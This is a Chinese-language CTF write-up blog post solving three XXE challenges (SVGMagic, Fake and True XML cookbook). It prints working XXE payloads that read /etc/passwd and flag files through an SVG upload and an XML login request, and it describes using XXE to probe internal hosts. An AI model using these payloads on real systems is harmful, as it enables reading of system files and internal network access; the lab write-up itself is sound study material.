BUU CTF XXE类

/ 0评 / 0

[BSidesCF 2019]SVGMagic

打开靶机,是一个文件上传,且只能上传png(png也报错500),我一度以为靶机坏了
之前有做过XXE读取文件的题目,这题可不可以构建一个SVG读文件呢?
根据之前的payload,读一下etc文件看看
根基题目回应这里回显的肯定是图片,需要加上图片返回宽高等参数,

<span class="cp"><?xml version="1.0" encoding="UTF-8"?></span>
<span class="cp"><!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///etc/passwd" ></span>
]>
<span class="nt"><svg</span> <span class="na">height=</span><span class="s">"100"</span> <span class="na">width=</span><span class="s">"1000"</span><span class="nt">></span>
  <span class="nt"><text</span> <span class="na">x=</span><span class="s">"10"</span> <span class="na">y=</span><span class="s">"20"</span><span class="nt">></span><span class="ni">&file;</span><span class="nt"></text></span>
<span class="nt"></svg></span>

发现确实返回了文件信息
尝试读取根目录的flag时又报错了。。
吐了,根据百度我们查看/proc/self目录(BUU不知道为什么访问这些目录会报错。)看着百度的payload访问到flag

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="5" y="15">&file;</text>
</svg>


 


[NCTF2019]Fake XML cookbook

打开以后f12给了一些提示/源码

function doLogin(){
    var username = $("#username").val();
    var password = $("#password").val();
    if(username == "" || password == ""){
        alert("Please enter the username and password!");
        return;
    }
    var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
            var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
            var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
            if(code == "0"){
                $(".msg").text(msg + " login fail!");
            }else if(code == "1"){
                $(".msg").text(msg + " login success!");
            }else{
                $(".msg").text("error:" + msg);
            }
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

(这题看百度wp才知道,是XXE的题)
之前复现过xxe的漏洞,拿payload改参数试一下

post

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<user><username>&xxe;</username><password>aaa</password></user>

获得flag
 


[NCTF2019]True XML cookbook

 
这题和[NCTF2019]Fake XML cookbook都是利用XXE漏洞的
不同的是,这题直接读flag文件是不会有回显的。然后就不知道怎么办了
遍历百度,先读一下etc/passwd吧

并没有发现什么有用的信息,而XXE只能读取文件,百度以后发现还可以像SSRF访问内网
我们访问一下hosts文件

发现有内网主机存活,使用http协议访问一下,并没有访问成功,IP往后挪一位发现flag
flag{8922c217-b122-45a9-b470-a8a7f3115646}
这里有一篇链接说的很好一篇文章带你深入理解漏洞之 XXE 漏洞
慢慢品

 

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注